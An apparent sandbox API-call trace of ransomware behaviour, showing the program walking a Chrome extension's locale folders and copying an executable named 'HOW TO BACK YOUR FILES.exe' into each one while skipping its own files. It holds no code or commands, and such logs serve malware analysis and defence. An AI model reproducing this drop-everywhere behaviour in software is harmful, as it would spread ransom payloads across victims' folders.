	[0050.047] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th"
	[0050.047] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.047] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.051] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.052] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e82ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e82ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.052] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.052] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.052] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv"
	[0050.052] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv"
	[0050.052] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.052] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.056] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.056] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e82ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e82ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.056] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.056] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.056] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr"
	[0050.056] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr"
	[0050.056] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.056] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.062] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.062] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e82ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e82ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.062] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.062] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.062] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl"
	[0050.062] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl"
	[0050.062] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.063] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.066] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.066] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ea9050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ea9050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.067] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.067] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.067] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk"
	[0050.067] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk"
	[0050.067] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.067] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.072] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.072] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ea9050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ea9050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.072] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.072] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.072] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru"
	[0050.072] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru"
	[0050.072] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.072] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.076] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.076] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ea9050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ea9050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.076] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.076] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.077] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro"
	[0050.077] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro"
	[0050.077] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.077] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.081] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.081] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ecf1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ecf1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.081] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.081] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.081] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT"
	[0050.082] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT"
	[0050.082] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.082] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.085] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.085] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ecf1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ecf1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.086] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.086] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.086] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR"
	[0050.086] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR"
	[0050.086] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.086] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.090] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.090] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35ecf1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35ecf1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.090] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
